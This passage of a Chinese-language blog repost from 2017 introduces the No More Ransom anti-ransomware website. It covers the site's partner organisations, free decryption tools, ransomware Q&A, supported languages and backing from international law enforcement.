在网站的“合作伙伴”一栏,有非常多的组织LOGO,宅客频道算了算,差不多已经有一百家组织加入其中,有的提供解密工具,有的提供资源和技术支持。


这表明防御网络勒索已经成为了一个全球性的问题,需要一起并肩作战。


除了免费的工具提供和技术服务,网站还有一个勒索问答,从网络勒索的历史一直讲到如何防范和解决勒索问题。

4.jpg



但是,以上内容全部没有中文版本(上面的中文全是翻译的)。


根据有关数据,目前该网站大多数访问者来自 俄罗斯、荷兰、美国、意大利、德国。


最初,该网站主要提供英语、法语、意大利语、葡萄牙语和俄语,而现在已经支持了更多语言,包括芬兰语、德语、日语、韩语、斯洛文尼亚语、西班牙语等。


所以目测未来还会支持更多语言,为世界上更多的人提供反勒索服务。(也不知什么时候支持中文)


目前这一组织也已得到了来自澳大利亚、比利时、以色列、韩国、俄罗斯、乌克兰等多个国家执法机构和国际刑警的支持。


各国执法机构出动,国际刑警支持,看来这反网络勒索的决心还是很大的。不过看到下面这些新闻,相信也能理解其中的原因了。

5.jpg


这个项目的主页:

https://www.nomoreransom.org/

原文为微信公众号-宅客频道 




Mrxn 发布于 2017-4-7 15:20

搜索

日历

标签